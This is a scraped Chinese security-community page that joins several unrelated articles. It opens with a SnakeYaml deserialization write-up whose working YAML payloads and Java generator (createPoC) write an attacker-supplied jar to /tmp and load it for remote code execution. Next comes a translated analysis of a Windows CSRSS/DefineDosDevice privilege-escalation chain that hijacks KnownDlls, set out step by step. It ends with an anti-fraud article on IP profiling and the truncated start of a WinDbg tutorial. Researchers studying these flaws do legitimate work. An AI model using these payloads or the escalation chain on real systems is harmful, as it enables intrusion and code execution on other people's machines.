- foo.bar.com
YAML支持三种数据结构：
1、对象
使用冒号代表，格式为key: value。冒号后面要加一个空格：
key: value
可以使用缩进表示层级关系：
key:
child-key: value
child-key2: value2
2、数组
使用一个短横线加一个空格代表一个数组项：
hobby:
- Java
- LOL
3、常量
YAML中提供了多种常量结构，包括：整数，浮点数，字符串，NULL，日期，布尔，时间。下面使用一个例子来快速了解常量的基本使用：
boolean:
- TRUE #true,True都可以
- FALSE #false，False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行，每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式，即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式，时间和日期之间使用T连接，最后使用+代表时区
## 不出网POC构造
### 线索
[leveryd师傅](http://www.leveryd.top/archives/)给了两条链接
第一步，[FastJson 1.2.68链写本地文件](http://scz.617.cn:8/web/202008111715.txt)。
第二步，[ScriptEngineManager加载本地jar包进行代码执行](https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E)
### 疑惑点
对snakeyaml反序列化赋值的过程不清楚，为啥snakeyaml能应用fastjson的反序列化利用链。
### Snakeyaml的反序列化方式
1、无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值。
声明如下类A
package com.zlg.SnakeYaml;
public class ModelA {
public int a;
public int b;
}
使用如下方法反序列化
Yaml yaml = new Yaml();
ModelA a = (ModelA) yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ;
System.out.println(yaml.dump(a));
将反序列化成功。
2、构造函数
声明如下类B
public class ModelB {
public int a;
public int b;
public ModelB(int a,int b){
this.a = a;
this.b = b;
}
}
使用如下方式反序列化
ModelB b = (ModelB) yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ;
System.out.println(yaml.dump(b));
可以看的出来[]是调用构造函数的一个标志，在构造函数中下断点，也能够成功调到。
需要注意 snakeyaml 反序列化时，如果类中的成员变量全为私有将会失败（调试得知）。
3、调用setXX函数
这个是最关键的部分，声明如下类C
package com.zlg.SnakeYaml;
public class ModelC {
public int a;
public void setInput(int a){
this.a = a;
}
}
使用如下方式反序列化
ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;
System.out.println(yaml.dump(c));
运行并下好断点。
可以看到调用set函数的方式和无构造函数的方式写法差不多，比如要调用setInput函数，把set去掉将后面单词全部小写后，传入SetInput的参数就可以调用
到此为止，意味着snakeyaml
可以利用fastjson和Jackson的所有利用链（反之不一定行），并且还没有autotype的限制。不过fastjson和jackson好像也没有直接RCE的链，并且还多依赖于三方jar包，通过改写1.2.68
写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。
### fastjson 1.2.68调用链观察
根据给的链接里的描述，这条链脱胎于浅蓝的POC。
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
### 最终POC
1、依样画葫芦 将fastjson
1.2.68本地写文件的链改写为yaml形式。在实际过程中，可以将jar包写在tmp目录下（linux系统下），这个目录一般都会有权限。
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]
注意:Destpath为生成的文件路径，base64str为经过zlib压缩过后的文件内容。
这个poc写的很简单，但趟了两个坑，一个是数据需要经过openssl zlib方式的压缩，第二个是snakeyaml中byte数组的构造方式（说多了都是泪）
如下面的例子 要是像下图那样构造byte数组，将会出错，后来组合排列试了n次，试出了!!binary base64str表示byte数组
2、ScriptEngineManager本地加载文件
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/payload.jar"]]]]
写了一份java代码能够直接生成写文件的POC，使用createPoC函数，入参分别为源端文件（要写的文件内容）和目的端文件（生成的文件路径），返回值为写文件的POC。snakeyaml
不出网RCE之路就到此为止了。
package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("./1.txt","./file/yaml-payload.txt");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
## 总结
师傅们的思路总是很清奇，学到了！
## 参考
<https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E>
<http://scz.617.cn:8/web/202008111715.txt> | 社区文章 |
原文：<https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html>
本文是Windows利用技巧系列的第二篇文章，在本文中，我们将为读者详细介绍如何利用[Issue
1550](https://bugs.chromium.org/p/project-zero/issues/detail?id=1550 "Issue
1550")漏洞，通过CSRSS特权进程来创建任意对象目录。我们之所以再次详细剖析特定漏洞的利用技巧，是为了帮助读者更好地认识Windows操作系统的复杂性，并向微软提供有关非内存损坏利用技术的信息，从而帮助和督促他们为这些漏洞提供相应的缓解措施。
**漏洞概述**
* * *
对象管理器目录与普通文件目录是相互独立的，换句话说，它们会使用一组单独的系统调用（如NtCreateDirectoryObject而不是NtCreateFile）来创建和操作目录。虽然它们本身并非文件目录，但是，对象管理器目录仍然很容易受到文件系统上发现的各种类型的安全问题的滋扰，其中包括提权型创建和符号链接植入攻击。
通过利用Issue 1550漏洞，攻击者不仅可以作为SYSTEM用户运行代码，同时，还能在处于用户控制下的位置内创建目录。该漏洞的根源，在于[Desktop
Bridge](https://docs.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-extensions "Desktop
Bridge")应用程序进程的创建过程。具体来说，是因为负责创建新应用程序进程的AppInfo服务，会调用一个未公开的API，即CreateAppContainerToken来执行一些内部管理工作。不幸的是，这个API会在用户的AppContainerNamedObjects对象目录下创建对象目录，以便为重定向BaseNamedObjects和RPC端点提供相应的支持。
由于这个API并非以用户的身份进行调用的（通常情况下，它是在CreateProcess中进行调用的，这样的话，就问题不大了），所以，这些对象目录实际上是以系统服务的身份（即SYSTEM）来创建的。同时，由于用户可以将任意对象写入其AppContainerNamedObjects目录，因此，他们就能够删除对象管理器符号链接，并几乎可以将目录创建重定向到对象管理器命名空间中的任何位置。另外，目录是使用显式安全描述符创建的，而该描述符会赋予用户完全访问权限——这一点对于该漏洞的利用来说，是非常重要的。
不过，该漏洞的一个利用难点是，如果没有在AppContainerNamedObjects下创建对象目录（比如，由于我们已对其位置进行了重定向），那么，完成令牌创建以及捕获目录句柄工作的底层NtCreateLowBoxToken系统调用将无法正常运行。这样的话，该该目录虽然会被创建，但几乎立刻又被删除掉了。之所以出现这种情况，实际上是由于我之前[报告](https://bugs.chromium.org/p/project-zero/issues/detail?id=483
"报告")的一个问题所致，因为它改变了系统调用的行为。尽管面临这个问题，但是本文介绍的这个漏洞仍然是可以利用的，方法是在相关目录被删除之前打开一个创建目录的句柄，并且在实践中，只要您的系统具有多个处理器（所有现代系统基本上都是如此），这种方法几乎可以稳操胜券。打开句柄后，只要我们的漏洞利用代码需要，该目录就会一直存在。
实际上，我发送给MSRC的原始PoC的功能就到此为止了，该PoC所做的事情，无非就是创建了一个任意对象目录。读者可以在问题跟踪器中找到该PoC，它附加在原始漏洞报告中。接下来，让我们深入了解如何利用该漏洞从普通用户帐户华丽转身为具有特权的SYSTEM帐户。
**漏洞利用**
* * *
要想利用该漏洞，关键问题是找到这样一个位置——我们能够在其中创建一个对象目录，并可以利用该目录来提升我们的权限。事实证明，这个问题要比我们想象的更难。尽管几乎所有的Windows应用程序都会使用对象目录，例如BaseNamedObjects，但应用程序所用的通常是现有的目录，而这些目录都是无法通过该漏洞进行修改的。
我们发现，一个有可能被滥用的对象目录是KnownDlls（我曾经在本系列的前一篇[文章](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html "文章")中简单提过它）。该对象目录包含了许多具有名称的映像节区（image
section）对象，并且都是采取NAME.DLL形式进行命名。当应用程序调用LoadLibrary加载SYSTEM32目录内的DLL时，加载程序首先会检查映像节区是否已经存在于KnownDlls对象目录中了，如果该节区已经存在的话，则将直接加载而不是创建新的节区对象。
严格来说，KnownDlls只允许管理员对其进行写操作（我们后面将会看到，实际上没有这么严格），因为如果您可以删除该目录中的任何节区对象的话，则可以强制系统服务加载已命名的DLL，例如，利用我在上一篇文章中介绍的Diagnostics
Hub服务就可以达到这个目的，同时，它还能够映射节区，而非磁盘上的文件。但是，虽然该漏洞可以用来添加一个新子目录（这对于漏洞利用来说没有什么帮助），但是，却无法用来修改KnownDlls对象目录。那么，我们是否可以通该漏洞来滥用其他函数，从而间接定位KnownDlls呢？
每当我对某一产品的特定方面进行研究时，我总会记下值得注意或出乎意料的行为。例如，我在研究Windows符号链接时，一个行为就引起了我的注意。Win32
API提供了一个名为[DefineDosDevice](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-definedosdevicew
"DefineDosDevice")的函数，其的目是允许用户定义新的DOS驱动器号。该API需要三个参数，分别是一组标志，要创建的驱动器前缀（例如X:)和映射该驱动器的目标设备。实际上，该API的主要用途与CMD
[SUBST](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/subst "SUBST")命令非常类似。
在现代版本的Windows系统上，该API会在用户自己的DOS设备对象目录中创建一个对象管理器符号链接，我们知道，这是一个普通的低权限用户帐户可以写入的位置。但是，如果您看一下DefineDosDevice的实现代码的话，您就会发现，这并不是在调用者的进程中实现的。相反，其实现代码在当前会话的CSRSS服务中调用了一个RPC方法，准确来说，就是BASESRV.DLL中的BaseSrvDefineDosDevice方法。这里调用特权服务的主要原因，是这样能够允许用户创建永久符号链接，当符号链接对象的所有句柄都关闭时，该链接也不会被删除。通常情况下，要想创建永久命名的内核对象的话，需要具有SeCreatePermanentPrivilege权限，但是，普通用户并没有该权限，而CSRSS却拥有该权限，因此，通过调用该服务，我们自然就可以创建永久符号链接了。
创建永久符号链接的能力固然值得我们关注，但是，如果我们只能在用户的DOS设备目录中创建驱动器号的话，那么这种能力也没有太大的用途。不过，我还注意到一个事实：该实现代码并没有对lpDeviceName参数是否为驱动器号进行相应的验证。例如，您可以将名称指定为“GLOBALROOT\RPC
Control\ABC”，这样的话，它实际上会在用户的DosDevices目录之外创建一个符号链接，就这里来说，其路径为“\RPC
Control\ABC”。之所以出现这种情况，是因为实现代码会将DosDevice前缀“\??”添加到设备名称，并将其传递给NtCreateSymbolicLink。内核将根据这个完整路径，找到GLOBALROOT——它实际上是一个用于返回根目录的特殊符号链接——并根据该路径创建任意对象。目前，由于我还不清楚这种行为是否是故意为之，所以，将来我会进一步研究该CSRSS的实现代码，下面是CSRSS实现的缩减版本。
NTSTATUS BaseSrvDefineDosDevice(DWORD dwFlags,
LPCWSTR lpDeviceName,
LPCWSTR lpTargetPath) {
WCHAR device_name[];
snwprintf_s(device_name, L"\\??\\%s", lpDeviceName);
UNICODE_STRING device_name_ustr;
OBJECT_ATTRIBUTES objattr;
RtlInitUnicodeString(&device_name_ustr, device_name);
InitializeObjectAttributes(&objattr, &device_name_ustr,
OBJ_CASE_INSENSITIVE);
BOOLEAN enable_impersonation = TRUE;
CsrImpersonateClient();
HANDLE handle;
NTSTATUS status = NtOpenSymbolicLinkObject(&handle, DELETE, &objattr);①
CsrRevertToSelf();
if (NT_SUCCESS(status)) {
BOOLEAN is_global = FALSE;
// Check if we opened a global symbolic link.
IsGlobalSymbolicLink(handle, &is_global); ②
if (is_global) {
enable_impersonation = FALSE; ③
snwprintf_s(device_name, L"\\GLOBAL??\\%s", lpDeviceName);
RtlInitUnicodeString(&device_name_ustr, device_name);
}
// Delete the existing symbolic link.
NtMakeTemporaryObject(handle);
NtClose(handle);
}
if (enable_impersonation) { ④
CsrRevertToSelf();
}
// Create the symbolic link.
UNICODE_STRING target_name_ustr;
RtlInitUnicodeString(&target_name_ustr, lpTargetPath);
status = NtCreateSymbolicLinkObject(&handle, MAXIMUM_ALLOWED,
objattr, target_name_ustr); ⑤
if (enable_impersonation) { ⑥
CsrRevertToSelf();
}
if (NT_SUCCESS(status)) {
status = NtMakePermanentObject(handle); ⑦
NtClose(handle);
}
return status;
}
如上所示，代码所做的第一件事就是构建设备名路径，然后尝试打开符号链接对象以便执行DELETE操作①。这是因为API支持重新定义现有的符号链接，因此，必须首先尝试删除原来的链接。如果我们使用相应链接并不位于其中的默认路径的话，将看到代码会将身份切换为调用者（在这种情况下为低权限用户）④，然后创建符号链接对象⑤，重新切换回原来的身份⑥，并在返回操作状态之前实现对象的永久化⑦。现在终于明白我们为什么可以创建任意符号链接了吧，因为所有代码都是在传递的设备名称前加上了“\??”。由于代码在执行所有重要操作时，都会将身份切换为调用者，因此，我们只能在用户具有写权限的位置创建链接。
更值得关注的是中间的条件，即是否为DELETE操作打开了目标符号链接，这是调用NtMakeTemporaryObject所必需的。打开的句柄将传递给另一个函数②，即IsGlobalSymbolicLink，并根据该函数的结果设置禁用身份切换的标志，并使用全局DOS设备位置\GLOBAL??作为前缀来重建设备名称③。那么，IsGlobalSymbolicLink到底是做什么的呢？别急，先来看看下列代码。
void IsGlobalSymbolicLink(HANDLE handle, BOOLEAN* is_global) {
BYTE buffer[0x1000];
NtQueryObject(handle, ObjectNameInformation, buffer, sizeof(buffer));
UNICODE_STRING prefix;
RtlInitUnicodeString(&prefix, L"\\GLOBAL??\\");
// Check if object name starts with \GLOBAL??
*is_global = RtlPrefixUnicodeString(&prefix, (PUNICODE_STRING)buffer);
}
上述代码首先会检查打开的对象的名称是否以\GLOBAL??\开头。如果是的话，就将is_global标志设为TRUE。这样的话，就会导致启用身份切换的标志被清空，同时，设备名称也将被重写。这就意味着，如果调用者具有对全局DOS设备目录内的符号链接的DELETE访问权限的话，则会在不进行身份切换的情况下重新创建符号链接，也就是说，将以SYSTEM用户身份来创建该链接。这本身并没有值得特别关注的地方，因为默认情况下，只有administrator用户才有权打开执行DELETE操作的全局符号链接。但是，如果我们可以在全局DOS设备目录下创建一个可由低权限用户写入的子目录的话，情况又会如何呢？可以打开该目录中的任何符号链接来执行DELETE操作，因为低权限用户可以随意指定访问权限，该代码可以将链接标记为全局链接，即使实际情况并非如此，同时，还能够禁用身份切换，并以SYSTEM
身份来重建链接。您猜怎么着，我们获得了一个允许我们在全局DOS设备目录下创建任意对象目录的漏洞。
同样，除非用于重写路径，否则，这个漏洞没有太大的利用价值。我们可以活用路径“\??\ABC”不同于“\GLOBAL??\ABC”这一事实，设法以SYSTEM身份在对象管理器命名空间中创建任意符号链接。但是，这对我们有什么帮助呢？如果您编写了一个指向KnownDlls的符号链接，那么，当DLL加载程序打开一个请求的节区时，内核将会使用该链接。因此，即使我们无法在KnownDlls中直接创建新的节区对象，我们仍然可以创建一个符号链接，让该链接指向该目录之外的低权限用户可以创建节区对象的位置。这样，我们就可以利用这种劫持方法，将任意DLL加载到特权进程内的内存空间中，从而达到提权的目的。
综上所述，我们可以通过下列步骤来利用该漏洞：
1. 使用该漏洞创建目录“\GLOBAL??\KnownDlls”
2. 使用要劫持的DLL的名称（如TAPI32.DLL）在新目录中创建一个符号链接。注意，该链接的目标并不重要。
3. 在用户的DOS设备目录中创建一个名为“GLOBALROOT”的新符号链接，让其指向“\GLOBAL??”。当调用者通过用户的DOS设备目录访问它时，就会覆盖真正的GLOBALROOT符号链接对象。
4. 调用DefineDosDevice，指定一个设备名称“GLOBALROOT\KnownDlls\TAPI32.DLL”，同事，将一个用户可以在其中创建节区对象的位置作为目标路径。这将导致以下操作：
5. CSRSS打开符号链接“\??\GLOBALROOT\KnownDlls\TAPI32.DLL”，进而导致打开“\GLOBAL??\KnownDlls\TAPI32.DLL”。由于它是处于该用户的控制之下，因此打开成功，并且，该链接将被视为全局链接，其禁用身份切换。
6. CSRSS将路径重写为“\GLOBAL??\GLOBALROOT\KnownDlls\TAPI32.DLL”，然后在不进行身份切换的情况下调用NtCreateSymbolicLinkObject。这样的话，会使用真正的GLOBALROOT链接，从而会创建具有任意目标路径的符号链接“\KnownDlls\TAPI32.DLL”。
7. 在任意DLL的目标位置创建映像节区对象，然后强制将其加载到一个特权服务(如Diagnostics Hub)中，方法是让该服务使用一个指向TAPI32.DLL的路径调用LoadLibrary。
8. 实现提权。
实际上，针对DefineDosDevice API的滥用还有另一种用途，那就是绕过Protected Process
Light（PPL）保护。PPL进程仍然在使用KnownDlls，因此，如果您可以向该目录中添加内容的话，就可以将代码注入该受保护进程中。为了防御这种攻击，Windows使用进程信任标签来标记KnownDlls目录，该进程信任标签将阻止除最高级别PPL进程以外的所有进程对其进行写入，如下所示。
那么，我们的漏洞利用的是如何得逞的呢？
实际上，CSRSS是作为最高级别的PPL运行的，因此它具有KnownDlls目录的写权限。一旦身份切换被废除，该进程的身份就会一直被沿用，也就是说，一直拥有全部的访问权限。
如果你想测试这个漏洞利用的话，可以从[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=1550#c5 "这里")下载新的PoC代码。
**结束语**
* * *
您可能想知道我是否MSRC报告了DefineDosDevice的这种行为？我没有，主要是因为它本身并不是一个漏洞。即使能够从Administrator权限提升到PPL权限，MSRC也不会认为是一个值得兴师动众的事情（具体参见[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=1336
"这里")）。当然，Windows开发人员可能会选择在将来修改该行为，如果它不会导致兼容性的重大倒退的话。这个功能自早期版本的Windows开始就已存在，至少可以追溯到Windows
XP，因此，可能有些东西会依赖于它。我希望通过详细描述这个漏洞，给MS提供尽可能多的信息，以帮他们在将来克服这种漏洞利用技术。
我确实向MSRC报告了这个漏洞，并且，该漏洞已经在2018年6月的补丁中得到修复。那么，Microsoft是如何修复该漏洞的呢？开发人员添加了一个新的API，CreateAppContainerTokenForUser，它在创建新的AppContainer令牌期间，会进行相应的身份切换。通过在令牌创建期间进行身份切换，代码可确保仅使用用户的权限来创建所有对象。由于它是一个新的API，必须修改现有代码才能使用它，因此，您仍有机会在易受攻击的模式中找到使用旧CreateAppContainerToken的代码。
无论利用哪种平台上的漏洞，有时都需要深入了解不同组件的交互方式。在这个例子中，虽然最初的漏洞显然是一个安全问题，但尚不清楚如何进行充分利用。在逆向工程中遇到的有趣行为总是值得记录下来的，因为即使某些东西本身不是安全漏洞，但在利用另一个漏洞时，却可能帮上大忙。 | 社区文章 |
IP地址的所有研究，其实可以归到三个问题上：
1、这个IP在哪儿?
2、这个IP是什么?
**3、这个IP干了什么?**
本篇是关于IP地址研究的最后一篇文章，我们来聊一聊：如何分析一个IP地址做了什么?
上一篇中，我们提到了通过每个IP下的用户行为，判断用户群体的类型，进而给出IP地址的分类结果。那些，其实都只是最简单，最基础的一些分类方法。通过特定的指标计算、聚类算法，就可以得出结果。
然而，同盾的IP画像，是围绕反欺诈展开的，我们希望能够准确的评估一个IP地址的风险性，进而在风控策略中进行调控。
在IP画像设计初期，我们设计了一个风险评分，用于总体评价这个IP地址风险。风险分数中，IP是否有代理行为、是否命中已知的威胁情报、是否发生过风险行为，都作为评估的依据。但是这样的一个笼统的评分，在实际使用中却有诸多不便。
比如，我们曾经发现过一个IP地址，由于频繁的发生盗卡行为，最终我们给出的风险评分达到了94分(0~100，分数越高风险越高)，然而这个IP下其他行为都是正常的，大量的正常用户通过这个IP进行登录、交易、支付等活动。
于是，我们萌生了一个想法，能否准确地定性一个IP到底做过什么样的坏事儿?
#### **什么是坏事儿？**
反欺诈中，涉及到的业务风险其实非常非常多。不同的行业、不同的平台都会有各自独有的一些风险。
就拿“黄牛”来说，随着互联网的发展，黄牛也从最早的票贩子，演变出了很多很多的花样。
**案例1:**
在各大航空公司的网上订票渠道中，存在很多“占座黄牛”，他们通过特定的渠道，订购了一定数量的廉价机票，然后加价转售，甚至会高出这张机票原有的价格。如果不能及时出手，黄牛就会选择退票，导致飞机上出现很多空座位，各大航空公司对此也很头疼。转手的过程很简单，只需要修改乘机人即可，这个行为可以通过线上的数据分析发现出来。
**案例2:**
一些票务网站(专指演唱会、赛事门票)，黄牛会注册大量账号，抢购演唱会门票，拿到门票后，加价出手。由于黄牛拿到了实体票，转手过程是在线下进行的，通过线上行为就无法进行监控。但是，在抢票过程中，黄牛为了增加自己抢到票的几率，会使用很多个账号重复下单，大量订单中的收获地址都是同一个或者具有极高的相似度。
**案例3**
:美团、猫眼、格瓦拉等购买电影票的平台中，也存在很大数量的黄牛。尤其是一些热门大片儿的首映票，价格可以炒到很高。电影票的黄牛，往往以代购的形式操作，他们拥有很高折扣的会员卡，可以低价购买到电影票，然后适当加价转手。黄牛完成支付后，拿到取票二维码，然后把二维码发送给买家。这个过程，也是很难通过线上的行为来进行检测的。
如果我们需要分析一个IP到底做了什么坏事，就必须要先给出明确的定义，到底什么样的行为算是坏事。然后把这些行为分解为非常详细的特征指标，进行建模。
这个过程是漫长的，就像上面举的例子，同样是“黄牛”，由于不同的平台，不通过的行业类型，中间存在着非常巨大的差异。每一种行为都要做这样的深入分析和研究，其实我们一开始是拒绝的......
在后来的一段时间里，我们团队接到了越来越多的提问，客户希望知道，这个IP到底干了什么?到底有没有风险?我们只能硬着头皮，去提取这个IP在过去半年里的行为数据，然后逐一分析。说到底，单凭一个IP地址的类型和地理位置，远远无法满足风控的需求。最终，我们决定要做这么件事儿。于是好几个月就这么过去了。
首先，我们梳理了一份反欺诈的词表，用来给出各种欺诈行为的明确定义。
**特征提取**
篇幅有限，这里就简单介绍一下我们对黄牛(票务行业)做行为分析和建模的过程。
上图中，是我们抽取到的一份较为典型的黄牛抢票记录。
从这些记录里，能获取到怎样的信息呢?
1、这批账号都在同一天注册，并且注册时间较为集中，注册时间间隔大约为30秒;
2、每个账户只下一个订单，但是多个订单产生的时间非常接近，时间间隔仅为毫秒级;
3、多个订单中的收货人姓名很相似，直观判断，不太可能是真实的姓名;
4、多个订单中的收货地址有明显的异常，在末尾添加了无用的字符串;
5、收获地址末尾的字符串为11位的数字，比较像手机号，多个订单中的这个字符串相同;
6、账号注册和风险发生，中间存在较长的时间，可以定义为休眠账号或养号行为。
如果对这个地址做检查，我们会发现：广东省佛山市均安镇均榄路天连大道是真实存在的。
但是这附近并没有什么小区，反而更像是一个村子。也就是说，收货地址中，“天连大道”之后的部分都是随机添加的，可能并没有任何意义。
这样的做法，是为了避免平台对收获地址做校验，如果大量订单都寄送到同一个收获地址，那么这些订单都存在刷单的嫌疑。
上面的地图中，你可能也注意到了，其实并没有“天连大道”和“天连路”，其实是同一条街。但是由于名称不同，在地址核验过程中，就有可能被认为是两个不同的地址。类似的，比如“南京市白下区李府街”和“南京市秦淮区李府街”，也是同一条街道，2014年白下区被撤销，整体并入秦淮区。从行政区划上看，白下区已经不存在了，但是物流和快递大哥都知道，整个南京市就那么一条李府街，货物也可以成功地递交到收货人手中。
为此，我们也建立了一套用于对收货地址做真实性核验的系统，用于判断多个地址，是否指向了同一个地点。
除了前面列举的三个特征之外，还有一个比较隐蔽的特征，就是注册这些账号的手机号，其实都是”虚假号码“(参见:互联网黑产剖析——虚假号码）。换句话说，提交这些订单的用户，其实都是通过垃圾注册产生的垃圾账户(虚假账户)。除此之外，通过设备指纹技术，我们也识别出，这些订单其实都来自于同一台PC。从IP维度上，虽然每个订单的来源IP都不相同，但是每个IP都最终被确认为代理或者机房。
以上种种，就成为我们判断黄牛行为的特征，归纳如下:
1、黄牛会事先通过垃圾注册准备一批可用的账号，注册过程中往往会使用虚假号码；
2、账号注册过程中会出时间、IP、设备上的集中性，即同一个设备，同一个IP上注册了大量账号；3、多个订单中的收货人、收货地址不真实或相似度极高；
4、多个订单可能从同一个设备上产生；
5、提交订单的IP地址，大部分是机房IP或者代理IP；
6、垃圾账号注册完成之后可能不会立即进行抢票，而是经过了较长的沉睡期或进行特定的养号活动......
进一步细化之后，得到具体的指标参数，就可以进入训练模型的阶段了。
**攻击链路**
攻击链路(aka Kill-Chain)，是安全领域中一个讨论比较多的话题。任何一次风险，都不会平白无故地发生，而是会有一个过程。对一次风险的定义，可以从最终的结果进行定义，但是更多的往往是对这个风险过程的定义。
以偷窃为例，一定会有这么几个步骤:
寻找目标 -- 蹲点 -- 标记 -- 作案准备 -- 撬门/扒窗 -- 进入房间 -- 寻找保险箱 -- 撬开保险箱 -- 拿走钱/珠宝 -- 清理现场
-- 离开现场 -- 销赃 -- 寻找下一个目标
上面的这些，就是Kill-Chain中的节点(Node)，也可以叫做风险过程(Process)。在整个攻击链路中，只有起点和终点是确定的，剩下的部分，可能会没有，也可能因为各种突发情况而产生分支链路忽然中断，或者重复某些环节。多个攻击链路，会在特定的一个节点上汇聚，这个节点，就成为了风险防控的关键节点。在这个节点上进行防护，效果就会比较好。
欺诈风险，也是一样的。前面分析黄牛的特征中，我们提到了黄牛会使用一批垃圾账号进行下单。分析一个账号的欺诈行为，需要纵观这个账号的整个生命周期，或者在既定的时间片内，关联上下文，看用户的行为在每一个环节中是否符合特定风险的特征。
那么，针对黄牛风险，攻击链路就可以表示如下:
在攻击链路中，越是靠前的节点，发现和识别越为困难，因为各种特征其实并不明显，只能判断本次事件有嫌疑，而不能确定具体的风险。但是在这些环节上进行防护，起到的效果是最为显著的，成本也相对要低很多。
越是靠后的节点，发现和识别变得简单，很多特征都比较明显，但是防护就变得困难。并且，由于攻击链路本身会产生很多分支，可能在其他环节上已经产生了，即便是同一批次注册的垃圾账号，可能会在不同的场景中被使用。
此外，某些节点上会产生大量的分支链路，比如垃圾注册。通过注册工具/脚本，批量产生的垃圾账号，可能在后续的多种业务场景中出现，不同的业务场景中，又有着不同的风险。
平台的业务越丰富，这个分支就会变得越发明显。如果一个平台同时提供了电商、电影票、团购、点评等多种线上业务，那么这个攻击链路就会变得非常复杂。
这也是为什么我们要建立IP地址画像、手机号画像和设备画像的原因。通过已知的各种风险行为，建立模型，通过跨平台、跨行业来进行联防联控，只要这个手机号、IP或者设备在历史上发生过一次风险行为，就会被识别出来，并且打上标记。
在整个攻击链路最开始的地方进行防护，并且在账号的整个生命周期中，进行持续监控，使得最终能够造成风险的账户数量降至最低。
**在对抗中进步**
这场欺诈和反欺诈的对抗，已经持续了多年，并且还将继续下去。
我们在不断提升检测能力、改进检测方式的同时，欺诈分子也在不断地产生新的作弊手段。并且，互联网在不断地寻求创新，同样是促销活动，在不同的平台上，会有截然不同的呈现方式，业务流程也不尽相同。这对我们分析风险行为，提取特征带来了极大的困难。
一旦新的业务模式产生，欺诈分子也会相应地寻找可供利用的业务逻辑缺陷，甚至产生一些新的风险类型。这需要我们不断地观察、学习和改进。为此，我们引入了无监督模型来辅助完成大量的指标提取工作。即使欺诈分子使用了新的技术、新的手段，特定风险的攻击链路是不会改变的，无监督模型可以从中提取出新的异常指标，再对模型进行优化和迭代。
**结语**
我们识别出的每一次风险行为，都会作为标签，标记在手机号、IP和设备上。即使欺诈分子不断地更换这些信息，也总会被发现出来。这是同盾跨行业、跨平台联防联控的巨大优势，也是我们对抗欺诈行为的有力武器。
这些标签，目前在IP画像中已经可以使用，随着我们研究的进一步深入，越来越多的模型被开发出来，可以准确识别的风险行为也越来越多，力求让欺诈分子无所遁形。 | 社区文章 |
Author: **xd0ol1 (知道创宇404实验室)**
前文回顾：
* [WinDbg 漏洞分析调试（一）](http://paper.seebug.org/179/)
* [WinDbg 漏洞分析调试（二）](http://paper.seebug.org/182/)
### 0x00 引子
本文将通过一个经典的IE漏洞来继续学习WinDbg相关的分析调试，错误之处还望各位大牛加以斧正:P
### 0x01 概述
我们要用到的是CVE-2014-6332这个漏洞，前辈们已经有过精彩的分析了，对应文章在参考部分有给出。此漏洞最值得借鉴的是其中所涉及的利用方式，上两篇分析的CVE-2012-1876需要绕过ASLR、DEP等保护手段来执行ROP＋shellcode，而CVE-2014-6332则是借助RW
